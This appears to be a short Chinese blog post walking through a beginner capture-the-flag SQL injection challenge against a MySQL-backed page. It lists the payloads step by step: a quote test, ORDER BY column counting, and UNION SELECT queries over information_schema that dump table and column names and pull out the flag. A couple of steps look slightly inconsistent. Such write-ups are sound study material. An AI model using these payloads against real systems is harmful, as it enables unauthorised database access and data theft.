一个简单的sql完整注入

一.  对于这一道sql注入题是一道基础中的基础,但他又是重点中的重点。

1.看题

 

 2.输入查询

 

 3.判断注入点

输入1‘得到如下

could not to the database You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1''' at line 1

4.有注入点,进行注入

1' order by 1,2,3,4,#(判断有四个字段)

5.暴库

1' order by 1,2,database(),4#

6.爆表

-1'  union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()#

7.爆字段

1' union select 1,group_concat(column_name),2,3 from information_schema.columns where table_name='flag'

 

 8. 查flag

-1' union select 1,id,flag,4 from flag where id =1#

 

 这里面还有很多的知识点例如group_concat()函数,语句是如何构造的。这些都是你要了解的。

posted @ 2019-10-11 15:53  faith-yourself  阅读(183)  评论(0编辑  收藏  举报